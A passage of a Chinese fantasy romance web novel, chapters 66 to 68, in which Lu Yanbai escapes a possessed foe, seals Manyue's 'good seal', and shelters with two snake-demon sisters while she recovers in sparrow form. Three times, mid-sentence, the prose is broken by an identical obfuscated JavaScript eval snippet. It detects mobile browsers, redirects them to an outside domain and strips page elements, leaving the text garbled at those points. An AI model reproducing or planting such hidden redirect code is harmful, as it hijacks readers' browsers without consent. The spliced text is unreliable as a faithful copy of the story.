陆宴白停在他面前,金瞳淡漠地扫视着他,像是在考虑用什么方法送他上路。 就在这时,持续将近一个时辰的雷声忽然毫无征兆地停止了。 天地间蓦地陷入一种诡异的寂静中。 笼罩在天空的乌云彻底散去,圆月毫无遮蔽地全部露了出来。那是一轮异常巨大的圆月,月光如水银泻地,将林间照得一片澄澈通明。 十夜公子抬头望向那轮圆月,脸上原本彻骨的绝望和恐惧,顷刻之间转为了绝处逢生的狂喜。 66. 064 老天都在帮他! 他之所以挑这个时候动手,就是留了后手准备。主上失去了命魂珠,日日遭受天罚,只有在天劫过后的半柱香工夫,才能够活动自如。尤其今天是圆月之日,正是主上功力最强的时候。 陆宴白也感受到了那股强大灵力的波动。他停下动作,抬眸望向天边。金瞳之中倒映着那轮圆月,隐隐透着不祥的预兆。 “哈哈哈哈,天劫结束了!你……”十夜公子狂笑着,话未说完,就戛然而止。 泼洒而下的月光仿佛受到了某种无形力量的牵引,疯狂向他的身体汇聚而去。 十夜公子发出一声惨叫,身体剧烈地抽搐起来,骨骼咔嚓作响,像是有什么东西涌入其中,强行重塑着他。 恰在此时,织梦兽带着满月堪堪从林间追了上来。满月低头躲过垂落的枝叶,甫一抬眼,刚好撞见这骇人的一幕。 她心脏猛地一缩。 不会这么……倒霉吧? 月光下,十夜公子昳丽隽秀的面容变得扭曲,细腻的皮肤下仿佛有活物游走,脸颊上迅速爬满了复杂而邪异的黑色妖纹。待他再度睁开眼,他的双眸已彻底化为一片纯粹的黑。 一股令人灵魂战栗的恐怖威压轰然扩散开。 陆宴白反应极快,在威压爆发的同一时间,他已先来至满月身前,双手结印,金色屏障瞬间展开,与威压相撞。 一声轰鸣。 巨响震耳欲聋,剧烈的冲击将四周林木尽数震得倒伏断裂。 满月咳嗽着睁开眼,不远处十夜公子缓缓站直了身体,用他那双全黑的眼睛漠然扫向他们,映着背后诡异的巨大圆月,如同在看死物一般,无悲无喜。 真的被堕仙附体了。 陆宴白看着对方,眉梢微微动了下,唇边挂着抹饶有兴致的笑容,金瞳之中却同样无波无澜。 十夜公子抬起手,一道诡异的重声响起,既是他原本的声线,又夹杂着一个冰冷无情的女声,毫无起伏地宣判:“入侵者,死。” 她话音一落,衣袖无风自起,周遭草木以肉眼可见的速度枯萎下去,磅礴的灵气俱被吸收了过来,在她的指尖汇聚。四面八方都因为这可怖力量而变得扭曲。 巨大的妖风随之袭来,不少参天大树都被连根拔起。满月下意识抱紧了织梦兽,险些被一起掀翻。 一声铃铛的清音响起,金色结界在他们身前显现,勉强挡住了风暴。 好,好大的压迫感! 满月心头不可抑制地泛起恐惧。 这是她在陆宴白身上都不曾感受过的,已经完全超出了她所能理解的范畴。 更糟糕的是,满月感觉自己体内本就不富裕的妖力正在被那股恐怖的力量强行抽离,流失的速度之快,甚至连陆宴白的结界也阻隔不了。 这密林本就是邪仙修行之地,与她有所感应,地面震颤起来,粗壮的黑色枝条破土而出,疯长的速度远比先前十夜公子操纵时快了数倍,像舞动的巨蟒,绞杀而来。 陆宴白掷出数道符箓,化作无数金字真言,锋锐如刀,在其间穿梭往来,所过之处,那些狰狞的枝条瞬时化为齑粉,纷纷扬扬四散落下。 邪仙很强,正合他意。 一股近乎沸腾的杀戮渴望在心底浮现。然而他余光扫过身后脸色苍白的满月,眸中翻涌的炽烈欲望瞬息消失得一干二净。 他毫不犹豫转身,一手揽住满月的腰肢,将她迅速带离织梦兽抱在了怀里。 满月灵力流失过多,头晕目眩,早已意识不清,落进他怀中,鼻尖萦绕着清冷的气息,竟让她奇异地感到一丝安全。 陆宴白腾出一只手将符箓拍在躁动不安的织梦兽额间,道:“你先走。” 织梦兽刨动着前蹄,恋恋不舍地看了看满月,出于对杀印的信任,呜咽着叫了一声,最终还是沿着他以符箓清出的那条残破小路疾速而去,隐没在尚未散尽的烟尘之中。 在织梦兽消失的瞬间,地面微颤,数根潜伏的黑色枝条悄无声息地破土而出,直袭而来。 陆宴白足尖轻点后退一步,玄冰凭空而生,立时凝住了蓄势待发的黑色枝条,冰霜一路顺着蔓延过去,冻结了大片。 怀里的满月却再也坚持不住,无力地垂靠在他的肩头,彻底失去了意识。 陆宴白收拢手臂,将她更稳地护在怀中。他低头瞥见她毫无血色的脸,蹙了下眉,脸上没了笑容。 他这时才发现是这片古怪的禁林在蚕食她的灵力。 不能再拖。 陆宴白心念一转,那些原本在黑色枝条间穿梭不休的金字真言如游龙一样被召唤了回来,与此同时,悬在他腰间的锁魂铃轻轻一荡,不亚于邪仙的强大灵力四震而开。 霎时间,黑色枝条尽数被齐齐斩断,四面荡起一片尘土,铺天盖地,几乎遮蔽了大半个林子。 待扬起的灰尘落地,才显露出方圆数十丈内的一地狼藉。 而原本立于其间的陆宴白与满月,早已失去了踪影,只留一片死寂。 * 天边刚刚泛起鱼肚白,晨光熹微,勉强驱散夜里的寒意。 临近外城边缘的山野,天色尚未大亮,已有不少低阶小妖在附近活动,背着药篓,大多是晨起上山来挖掘普通药草以贴补家用。 陆宴白放出纸人探寻四周,确认这里面没有妖兵。那花妖和树妖大概也没想到他们能够逃出禁林,所以并没有在外围设下埋伏,再加上昨晚带去的妖兵几乎都被他杀绝了,消息显然还没有传入城内。 陆宴白抱着满月来到了山脚下的一处极为隐蔽的草庐,这草庐搭得十分潦草,是他刚潜入十方城时寻到的落脚地方,半个月没回来,灶台上床榻上都积了一层厚厚的灰。 陆宴白放出符箓清理了一番。草庐犄角旮旯还埋着一筐番薯,大概是先前住在这里的守林妖留下的,早已经发了芽。 清理好,陆宴白才将满月放在干净的床榻上。她双目紧闭,长睫在苍白的面颊上投下淡淡的阴影。大约是灵力流失得厉害,再加上之前和十夜公子交手受了伤,两相叠加的缘故,她的气息很是微弱。 早在刚出禁林,陆宴白就给她上过一次药,他小心翼翼揭开她的衣衫,却发现伤口没有一点好转的迹象。 陆宴白皱了皱眉,修长的手指拂过她的伤口,试图渡入灵力为她疗伤,可却感受到一股不知从何而来的巨大阻碍,排斥着他的灵力,不让他进入分毫。 满月安安静静躺在原位,额角渗出细密的冷汗,清秀的眉头蹙起,似乎在承受着某种痛苦。 陆宴白眸光一暗,想要强行驱散那阻碍她愈合的古怪力量,然而就在这时,他看到她额心有什么东西发着光,若隐若现。 是一轮圆月之印。 陆宴白一怔,停住了动作。 圆月之印忽闪了片刻,转为了半月,再之后,彻底隐退。 陆宴白沉默地旁观了全程,他脸上罕见地没有任何表情,黑眸沉郁,深不见底,所有情绪都被牢牢封锁其中,窥探不到一丝波澜。 原来真的是善印。 早在最初他就有过怀疑。九曲地宫之中遍布死气,连当时和他交手的那个画妖都不敢下来,她却完全不怕死气的侵蚀,毫发无伤。 后来是陈荣。其实杀他的时候,陆宴白听到了他最后说的话,只是下意识地不愿多想。 直到现在。 确认了这一点,心底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228837|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却涌起一股极其隐晦的抗拒,抵触着这个结论。 世间有关善印的记载不多,连阴长生也知之甚少,只有些不入流的传闻含糊提及,说善印可以完全压制杀印的力量,至于怎么压制,甚至善印究竟存不存在,无人能够断言。 原来行藏道人说的一劫,真的应在这里。 陆宴白抬手,冰凉的指尖轻轻碰触到满月的脸颊上,带着几分连他自己也没意识到的眷恋,仿佛勾勒着她的轮廓般一路顺着上移,最终在她的额心停了下来。 只要他一催动灵力,她与善印就会被毫不费力地一并被摧毁。 晨曦透过合不拢的门窗缝隙照进来,落在满月沉静的面庞上,血污已经被他擦净,露出了她白净小巧的本来面目,被阳光一照,连细小的绒毛都清晰可见,显得如此毫无防备。 陆宴白的指尖在满月额间流连,良久,他还是驱动了灵力。 灵力源源不断被注入她的眉心,构筑起一道无形的坚固枷锁。梦中的满月无知无觉,只是紧皱的眉头渐渐松了开来,似乎是一直侵扰着她的疼痛终于消散。 陆宴白却感觉到有什么东西同时反噬着涌入他的身体,带着灼烧的剧痛,让他都没忍住蹙了下眉。 他将她的圆月之印重新封印了起来。 只有这样她的伤口才能恢复。 陆宴白收回手,额上不知何时也布了层薄汗,就好像对她的伤害尽数转移到了他身上一样。 陆宴白瞧着自己的手,甚至还能够感受到残留其上的隐隐灼痛,他眉梢微挑了下,想起有关善印传说里用到的一个词。 相生相克。 与此同时,床榻上的人周身闪过一道柔和的蓝光,她的身形迅速变小,眨眼之间,原本躺在那里的少女消失不见,取而代之的是一只小白雀。 她化为了妖身。 小白雀静静窝在了榻子上,全身羽毛雪白,蓬松柔软,像个小小的绒毛球,不染一丝杂质,圆滚滚的,甚是讨喜。 陆宴白稍一愣,随即挑了下眉,唇角不受控制地扬起一个极浅的弧度。 “还说自己是兔子?”修长的手指轻轻点了点它毛茸茸的小脑袋,带着点他也说不明白的幽微情愫。 和他在生魂阵中见到的小白雀一模一样。 只是在生魂阵中,她精力旺盛得很,叽叽喳喳个不停,他那时根本听不懂她在说什么,只觉吵得头痛。 如今这般安静乖巧,倒是顺眼多了。 她身上的善印之前不知被何人封印过,如今又不知何故被解开,对她消耗极大。他的灵力又被她体内的善印排斥,治疗不了她,只能依靠伤药。 可身上的伤药已经用完了,他一向没有多备的习惯,少不得要冒险进城一趟。 陆宴白收敛心神,拔开白瓷瓶的塞子,将最后剩下的一点药粉仔细地倒出来,正准备给小白雀敷上,昏睡多时的小白雀却动了一下,在此时悠悠转醒。 在醒来的第一时间,满月就敏锐地注意到了与以往的不同。 首先是四周的景物,竟比平日大了数倍。她正怀疑是不是又不小心掉进了什么幻阵结界里,一抬头,就看到了同样大了数倍的陆宴白。 满月:“……” 圆圆的黑豆眼瞧着陆宴白,虽然没有任何表情,他愣是从中看出了几丝惊恐。 陆宴白手伸过来,小白雀一张嘴,毫不犹豫咬住了他的手指。 陆宴白弯起眼睛,笑意盈盈地看着她。 满月完全是下意识的反应,等咬了人才后知后觉发现自己究竟干了什么。 她慌忙松开嘴,假装什么事情都没发生过一样,重新闭上眼,圆滚滚的身子一摊,竟是就地装起死来。 67. 065 死定了死定了死定了。 满月的心脏怦怦直跳,满脑子只剩下这一个念头。 陆宴白将她一系列行云流水的操作尽收眼底,他实在好笑,伸手戳了下小白雀露在外面的肚子,可她却铁了心要装死到底,硬是一动不动。 陆宴白将小白雀托在掌心,他的体温常年冰冷,手心自然也没什么暖意,如今已是深秋,冷得满月没忍住哆嗦一下。 “用了那么多的药还不醒,看来是真的没救了。”陆宴白故意拖长语调,慢悠悠地叹了口气。他用另一只手拨弄了下装死的小白雀,笑吟吟道,“罢了,我好人做到底,就近找个地方,把你埋在这里,也算入土为安。” 这话恍如催命符。 装死的小白雀倏地睁开眼,圆圆的黑豆眼中写满了惊恐。 陆宴白在满月心里就是个毫无底线的大魔王,她完全不怀疑他真做得出这么离谱的事。 小白雀立刻从陆宴白掌心站起来,抖擞了下羽毛,讨好似的用毛茸茸的小脑袋拱了拱陆宴白的手指,啾啾叫了两声。 意思是:别杀,还有救。 陆宴白笑了一声,倒是没有拒绝她的求饶。 正当满月以为这事就这么翻篇时,他轻轻拨了拨她脑袋上翘起的一撮呆毛,状似不经意地挑起另一个致命的话题:“不过,你之前不是说自己是兔子吗?” 小白雀肉眼可见地呆了一下。 满月:“……” 死定了死定了死定了。 脑子里又开始疯狂刷屏。 这事没法解释,也不能解释。 好在满月现在只是个口不能人言的小白雀,而且还受了伤,就算是陆宴白也没办法逼迫她回答。 她立即发挥出最佳演技,摇摇晃晃跳走两步,然后就顺势栽倒在他的掌心,假装力不从心,气息奄奄,虚弱地叫了几声后,圆圆的黑豆眼阖了起来,似是再度昏睡过去。 小白雀翅膀敛起收成一团,就这样蜷缩在他手心,像糯米团子一样。 陆宴白挑了下眉,似笑非笑。 她化为妖身,反而意外地活蹦乱跳了起来。 也算是一件好事。 不知道是不是她的演技起了作用,陆宴白没有再继续追问下去。 陆宴白早已辟谷,无需进食,但满月不行。她为妖身,不能吃寻常的吃食,必须得用灵谷,这样也能尽快恢复。 稍作休息后,陆宴白不知从哪儿弄了顶笠帽,留着满月一个人在草庐不放心,反正她现在是妖身,索性将她继续藏在袖间,带着一起往十方城的外城去。 一入城,相比于早上,便看到街头巷尾多了许多披坚执锐的高大妖兵,正在排查往来的行人,气氛紧绷,与从前的松散无序截然不同。 陆宴白瞥见巷口有妖兵走来,不动声色压低了帽檐,正欲折身换条路,另一侧恰好也有一队妖兵巡视而来。 “站住!”为首的妖兵看见他,忙呵斥一声。 陆宴白停住脚步,却没有回头。 妖兵手中拿着两幅卷轴,带队向着他走了过来。 陆宴白身形未动,指尖凝起些微灵力。 “例行检查,转过身来。”妖兵命令道,语气不容置疑。 陆宴白笑笑,正要转身,忽听一个声音从巷子里传来,带着几分恰到好处的惊讶:“阿乙,你今天回来的怎么这么早。” 陆宴白手指微动,指尖的灵力悄然散去。 通行令还没有拿到,满月又受了重伤,现在还不是硬碰硬的时候,能有人来解围,自然更好。 巷子里走出来一个女子,约莫二十来岁的模样,衣着朴素,容貌秀丽,只是脸上残留着未完全褪去的蛇鳞,这是妖力微弱的缘故,不足以完全化人身,在比人间更弱肉强食的妖界,这样的低阶小妖多是被欺压的对象。 果不其然,在看到女子脸上蛇鳞的一刻,妖兵的态度变得陡然傲慢了许多,他扬扬下巴,指了指旁边身形清隽的蓝衣少年:“你认识?” “他是我的远房表弟,前不久刚来城里,我还没来得及带他去上报。”女子虽是被轻待,态度倒仍温温和和的,很是低眉顺目。 妖兵各自打量他们一眼,命令陆宴白:“抬起头。” 陆宴白眉梢几不可察地微扬了下,似乎在思忖着什么,隔了片刻他才稍稍抬起些下颌,要笑不笑瞧向那妖兵。 妖兵展开手中的画轴,画轴共有两副,一男一女,他拿了男的那一副,与眼前的人进行比对。 妖兵来来回回看了几遍,每当视线从陆宴白的脸上离开,就觉得他的脸似乎蒙着一层捉摸不透的薄雾,让人记不真切,只能凭着模糊的印象大致推断他和画轴上不是同一个人。 妖兵只以为是这少年的长相太平凡的原因,没有多想,再加上他打心底瞧不起连人身都化不完全的蛇鳞女,下意识觉得他们翻不出什么风浪,便不耐烦地摆摆手,就此放行了。 陆宴白压低帽檐,默不作声跟着蛇女走向巷子深处。 等拐进暗巷,周围没了人,女子才关切问道:“陆公子,你怎么回来了?” 这女子名叫小芝,采药卖药为生,先前陆宴白在十方城外碰到她和她妹妹被妖商欺负,顺手救下了她们。 陆宴白没有回答,目光漫不经意扫过破旧脏乱的暗巷,问道:“这些日子城中一直这么戒严吗?” 小芝摇摇头:“从今天开始的,听说是禁林那边发生了点事,全城戒严追拿逃犯。具体我也不清楚,反正那些官爷也不肯对我们这种小妖多说。” 言罢,小芝脸上露出真诚的笑容:“上次走得太匆忙,你帮了我们那么大的忙,一直没机会好好谢谢你。你这次来十方城,可要多住几日?” 陆宴白点了下头,没有多言。 小芝完全不介意他的疏离,仍笑道:“青青若是知道,定然要高兴得说不出话来。” 青青是小芝的妹妹,比她小几岁,十五六的年纪,倒是跟满月差不多大。 七拐八弯,穿过错综复杂的窄巷,他们在一个极为僻静简陋的小院前停了下来。 小院的庭院显然疏于打理,四面的围篱也破破落落,院中杂草肆虐,只有中央的石桌被收拾得干干净净,上面整齐地晾晒着一些药材。 小芝打开吱呀作响的木门,朝里面唤了一声:“青青,你看谁来了。” 少女坐在屋檐下的矮凳上,正低头专注分拣着药篓里新采的药材,她五官与小芝如同一个模子刻出来的,对比姐姐与世无争的温柔,更添了几分这个年纪应有的利落与活泼,不过她脸上的蛇鳞比她姐姐的还要更多一些,想来天资和妖力也更差一点。 青青听到姐姐叫她,一抬头,最先映入眼帘的却是跟在小芝身后的人,少年身姿挺拔,穿着一袭蓝衣,头戴着宽大的笠帽,仅露出线条流畅分明的下颌。 青青眨眨眼,有些不可置信地站起身,声音带着显而易见的欣喜:“陆,陆公子?” “我刚才出去,正好撞到陆公子被那些妖兵盘查,就把他带了回来。”简单解释了前因后果,小芝重新看向陆宴白,又问回了最开始的问题,“陆公子来城里可有什么要紧事?若是不急着走,不如在我们这里多留两日。” 陆宴白言简意赅:“我有一个朋友受了点伤,我来买点药材。” 小芝一听,便道:“那岂不是刚刚好?我这里可是什么药材都备着,你若缺什么列张单子给青青,让她去给你抓。”言毕,小芝一回头,正要喊妹妹,却见青青已是站在离他们不远的地方,微垂着头,手指无意识地绞着衣角,一副想看又不敢直视的羞涩模样。 小芝一向知道妹妹对这位救命恩人存着些心思,无奈地笑了笑。 陆宴白并未在意,只从袖中取出一张早已写好的药材单子,递给了早已神游天外的青青。 青青回过神来,她接过单子,仍低着头,全程没敢看他的脸,只小声应了一句,便匆匆转身去抓药。 趁她配药的工夫,小芝将陆宴白引进了旁边一间闲置的空房,里面陈设简陋,但好在打扫得干净。 “前不久我家有位娘姨来,她走了才刚打扫没多久,公子若不嫌弃,可以在这里休息。” 陆宴白正巧要找落脚的地方,他扫了眼,还算过得去,便也不推辞,点头应下。 青青捧着药包走了进来,她没敢离陆宴白太近,在距他稍远一点的地方就停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240627|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来,声音细若蚊呐:“陆公子,你要的药材抓好了。” 小芝看了青青一眼,推了下她,方道:“你先招待着陆公子,外面还有些药材,我去收起来。” 说罢她就先行离开。 “多谢。”陆宴白取过药材,同时将一袋灵石放在了青青手中。 青青看着那灵石,刚要说不用这么客气,却见陆宴白又从袖子里取出了一只通体雪白,仅有巴掌大小的小白雀。 满月这半天都被陆宴白藏在袖子里,颠簸晃动,都快闷死了,她终于体会到小肥啾不愿意待在乾坤袋的心情。 重见天日,小白雀抖擞了一下羽毛,就飞上了一旁的木桌。 “啾啾啾~”仗着陆宴白听不懂鸟语,满月对着他指指点点好一通抱怨,一转头,才发现陆宴白身后还站着个面露惊讶的小姑娘。 满月的嚣张气焰瞬时荡然无存,所有啾声都卡在了喉咙里。 她对自己妖身示人还是感到非常羞耻的——当然,陆宴白不算。她充分发挥阿Q精神,已将他开除人籍。反正在她眼里他根本也不是个正常人。 满月无言地往陆宴白的方向移了两步,藏在他的衣袖后,挡住了那小姑娘好奇的视线。 青青瞧着这只灵性十足小家伙,惊讶问道:“公子什么时候养了一只这么可爱的灵宠?” ……什么灵宠! 满月羞恼不已,气得啄了两下空气。 可如今的局面也容不得她解释。 修长的手指将试图躲藏的小白雀提起,陆宴白半垂着眼,左右看了看,唇角弯起,若有所思地笑道:“路上捡的,虽然有点呆,但当个灵宠或许也不错。” 满月:“……” 他才呆他全家都呆。 ……算了。 她忍。 小白雀阖上眼假寐,假装听不懂他的话。 陆宴白将小白雀轻轻放回桌子上,转而打开了药包,指尖凝起灵力,药材顷刻化为齑粉。 陆宴白动作轻柔地将小白雀的翅膀掀起,想检查她的伤口,然而他的指尖刚一触碰到她,满月羞耻感爆棚,立刻炸了毛。 他要干什么! 原本蓬松圆润的身躯炸成一团毛球,小白雀扑腾着翅膀挣扎起来,试图从他修长的手指间挣脱。 陆宴白一开始还试图安抚,可惜没什么用。 他有点烦了,提起小白雀的后颈,笑眯眯看着她,语气格外温柔:“要我用定身符吗?” 满月:“……” 小毛球瞬间泄了气,犹豫半晌,最终还是屈辱地放弃了抵抗。 她现在不是人不是人不是人,只是一只鸟一只鸟一只鸟。 满月在心里默默催眠自己。 陆宴白将药粉涂抹在她的伤口,动作极为难得的小心翼翼,生怕弄疼她似的,只是指尖的微凉到底让小白雀没忍住激灵了一下,差点又下意识地咬过去。 她是真的很想咬他啊!这个混蛋! 化为妖身后,她伤口愈合的速度也快了不少,看起来没有上午那么狰狞。 陆宴白给她上药时尤为专注,夕阳的余晖洒落进来,照在他低垂的眼睫上,投下小片安静的阴影。 青青看着他这副认真的模样,不敢出声搅扰,屏气凝神,静静地陪在一边,眼中流露出些许羡慕。 等上完药,陆宴白摸了下小白雀的头,转眸发现青青还在,问道:“你们这里有灵谷吗?” 青青愣了一愣,赶紧点点头:“有,我阿姐才换了些回来,恩公稍等。” 不多时,青青捧了一个木盒回来。陆宴白接过,依照之前的样子,又给了她一袋灵石。 青青捧着灵石,心里很不是滋味。 “吃吧。”陆宴白打开木盒,推到蔫头耸脑的小白雀面前。 满月呆呆看着眼前熠熠生辉的灵谷,宛如被抽走了魂魄,仍未从刚刚上药的震撼中回过神来。 虽然不可否认她现在只是一只小白雀,可她,可她还是无法接受被陆宴白从上到下摸了个遍这件事,羞耻感萦绕在心头经久不散。 啊啊啊啊啊! 好想啄死他啊! 满月泪目。 68. 066 陆宴白坐在满月对面,支着下颌瞧她:“怎么不吃。不好吃?” 满月是真的饿了,就算赌气也没办法否认这一点,仗着妖身看不出来,她恶狠狠地瞪了他一眼,才低头啄起灵谷。 她知道灵谷价值千金,反正花的是陆宴白的钱,吃得他破产才好。 陆宴白手指微微动了下,有点痒,总觉得小白雀圆圆的脑袋看起来很好戳的样子。 青青在旁仍没走开,她绞着手里的钱袋,犹豫了片刻,才小心翼翼道:“听姐姐的意思,恩公要在城中逗留几日?” 陆宴白听她说话,才想起旁边还有个人。他点了下头:“有事?” 小姑娘得到确定的答案,雀跃的神情不受控制地涌上眉梢。 满月却从这只言片语中嗅到了八卦的气息。她歪歪脑袋,假装吃着灵谷,注意力悄悄放在了他们二人身上。 “没,没什么事。”青青咬了下唇,犹豫了半晌,终于踌躇着开了口,“……先前公子救了我们姐妹二人,我,我无以为报……” 陆宴白挑了下眉,眼中没有多余情绪。 那不过是顺手的事,他已经利用她们得到了自己想要的,反而是她们三番两次提起,不知意欲何为。 满月倒是看出点什么来。毕竟小女孩的心思透明得几乎一览无余,除了陆宴白这个一向只关心命魂珠的铁石心肠,大概很难有人看不出来。 这件事显然在青青心中盘恒已久,上次一别,她原以为此生再无缘见到他,后悔多时,好不容易再见面她不想再度错过。 青青鼓足勇气:“公子若是不嫌弃,可否……可否让我跟在你身边?我,我会做很多事情的……” 满月只觉不可思议。 天呐,这妹妹什么眼神,跟着陆宴白,是嫌自己过得太舒服了吗??? 陆宴白也奇怪地看了青青一眼:“你姐姐对你不好?” 满月正好叼起一粒灵谷,听到这话一哆嗦,灵谷掉回桌子上,骨碌碌滚了几滚,差点掉下桌沿。 人才啊。 陆宴白听到这细微动静,淡淡瞥了眼桌上努力缩小存在感的小白雀。后者卖力地啄食着灵谷,假装什么都不知道的样子。 青青怔忪了一下,忙摇了摇头:“不是,阿姐对我很好。” 陆宴白屈指敲了敲桌面:“那是那些妖又来找你们麻烦了?” 他指的是先前那群欺负过她们的妖商。 青青又摇了摇头。 陆宴白彻底没了耐心,若非他还有事需要她们办,连这个工夫都懒得费。 他不再多问,只从袖子里又拿出一袋灵石,比先前抵作药材的那袋重了不少,随手掷了过去。 青青下意识地抬手接住,等她反应过来,慌忙解释道:“公子,我不是……” 陆宴白却不等她说完就客气打断了她:“我还需要些药材,就劳烦你了,多出来的算我暂住在这里的房金好了。” 青青怔怔看着手中的钱袋,也明白过来这是婉拒,眼眶一下红得厉害。她强忍住泪水,点点头,转身离开了。 门扉被阖上,屋内重归安静,只剩下窗外隐约的风声和桌上小白雀啄食的响静。 满月旁观了全程,为了不引起大魔王的注意,她安静地啄着灵谷,心里却充满了对这小姑娘的同情。 太可怜了,年少慕艾,就撞上了这么一块又冷又硬的冰山。 或许陆宴白不是完全不明白那个小姑娘的心思。 他只是懒得去理会。 这人无情起来,当真无情。 满月冷不防想起前世在这个年纪,她也曾暗恋过班上的一个男生,最后直到高中毕业也没有告白。代入一下如果她也被这么不留情面的拒绝,确实挺难过的。 想着,她没忍住摇了下脑袋。 陆宴白余光扫见她的小动作,弯眼朝她看来。 满月赶忙低头,可惜已经晚了。 一只修长的手伸了过来,轻轻提起她,将她放在指尖。为了保持平衡不掉下去,小白雀的小爪子只能紧紧抓着他的手指。 尖锐的爪子刺着他的指腹,细微的刺痛混合着羽毛拂过的痒意,又酥又麻。陆宴白一手支着脸,一手托着那团雪白的小毛球,笑意盈盈道:“你在想什么?” 满月睁着圆眼,黑豆眼亮晶晶,要多真诚有多真诚。它仰着小脑袋啾啾叫了两声,歪了下脑袋,尽管看不出表情,还是能从中略微领会到意思:你在说什么,雀雀听不懂哦。 化为妖身也不是一点好处都没有。 比如现在。 反正她现在是妖身,说不了话,仗着这一点,她要比过去胆子大得多。 陆宴白看着她这副明显装傻充愣的模样,轻笑一声,也不拆穿,只在她小脑瓜上极轻极快地弹了一下。 不疼,但杀伤力极强。 小白雀忙用翅膀护住自己的脑袋,不可置信地仰头看着他。 这个混蛋! 以满月对陆宴白的了解,这必然是侮辱!极致的侮辱! 正当满月满心戒备着他再做出什么不可理喻的动作时,陆宴白却没再为难她,只将她轻轻放了下来。 满月一愣,为了不再被这个混蛋戏弄,她没多想,忙回到木盒前,专心致志吃起了灵谷。 整盒的灵谷,转眼之间就剩下一半。 满月却怎么都吃不饱一样,无论吃下多少都没有饱腹感,反而贪婪地渴望着更多,像是有什么东西在她体内蛰伏着,替她吞噬一切。 吃下去的灵谷化为了无形的灵力充盈在她的体内。 渐渐的,满月终于吃不动了,肚子圆圆地鼓了起来,踉跄一下没站稳,就地跌坐下来。 她的头晕晕乎乎,眼前甚至出现了小星星。 奇怪,四周怎么好像在摇。 满月晃晃脑袋,想摆脱掉这种感觉,却更加剧了。这有点像喝醉酒,身体也软绵绵的,随时有倒下的可能。 满月只有一个想法。 她该不会是晕碳了吧。 就在此时强大的睡意汹涌而来,怎样都压制不住。 满月一开始还想强撑着,脑袋却一点一点犯着困,极度渴望进入梦乡。终于她还是没坚持住,即将栽倒前,先被一只冰凉而纤长的手扶起。 满月顺势靠着那只手蜷缩成一团,就这么睡着了。 陆宴白蹙了下眉,以为她旧伤复发。他用另一只手点在她毛茸茸的脑袋上,放出自己的灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259852|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识里外探查一遍,发现只是因为她体内的灵力太多了,一时之间克化不了,所以才昏睡过去。 通俗一点来说就是,吃多了。 陆宴白:“……” 他无言地捞起睡成一团的小白雀,将木盒里剩下的灵谷收起。 瞥了眼窗外,时间尚早,还足够他再做一些事。 陆宴白看了看手中早已睡得不知天地为何物的小白雀,在将她留在这里和揣在身上带走之间毫无犹豫,直接选择了后者。 那对姐妹表现得即便再很友好,在陆宴白看来仍然不足完全为信。他天性多疑,信不过任何人,对谁都保留三分,尤其是现在,满月妖力耗竭,化为毫无自保之力的妖身,他绝不可能将她独自留在不可控的陌生环境。 陆宴白将小白雀放进衣袖,施了层术法,确保她不会被颠簸惊醒。随后他戴上笠帽,有意避开了正门,悄无声息自小屋狭窄的后窗翻掠而出。 吃了上次的亏,这次他专门选择屋檐上的路径,只是外城的屋子大多简陋破败,稍不留神就有踩空的危险,行走其上需要格外注意。 暮色四合,天边的夕阳将歇未歇,陆宴白在余晖与逐渐浓重的夜色交界处无声疾行,下方喧嚣的街道似乎被隔绝在另外一个世界。 陆宴白在一处较为隐蔽的屋顶上停了下来。 街巷上陆续有妖兵巡逻的队伍走过,但阵容明显松散许多,其中掺杂了不少动作生硬的新人。看来上次在禁林妖兵被他杀得太多,人手不够用,只得临时从外城征集了不少未经训练的小妖来滥竽充数。 最看不起的外城,送命的时候倒是最先想到他们。 陆宴白面无表情作壁上观。 以这样戒严的程度,现在就算拿到通行令也没用。 大致摸清了妖兵行动的轨迹和巡逻的时间间隔,确认栖身的地方暂时没有危险后,陆宴白正要回去,却敏锐地捕捉到一丝死气的波动。 他的目光越过大片杂乱无章的棚户屋顶,投向了远方的某处。 那片禁忌之地即便在夜色中也凝聚着散不掉的黑沉雾气。 禁林。 是织梦兽。 之前让织梦兽逃走时,他曾给了它一张符箓,有他的符箓在,它暂时不会有事,但也仅限于此。 通过符箓,他能真切地感知到织梦兽正在哀哀叫着,茫然寻找着出路。 若是按照他以往的行事风格,他肯定懒得多管闲事。可是…… 陆宴白下意识垂眸扫了眼自己的衣袖,他清晰感受到袖中的那团小毛球,正随呼吸一起一伏着,与他心脏的跳动重合。杀印喜冷,他的体温常年偏低,衬托之下她周身的温热就显得存在感十足。 一想到若是织梦兽消失她可能会有的失望和难过,不知怎么,他也跟着烦躁起来。 她对他的影响,比他想象中还要大。 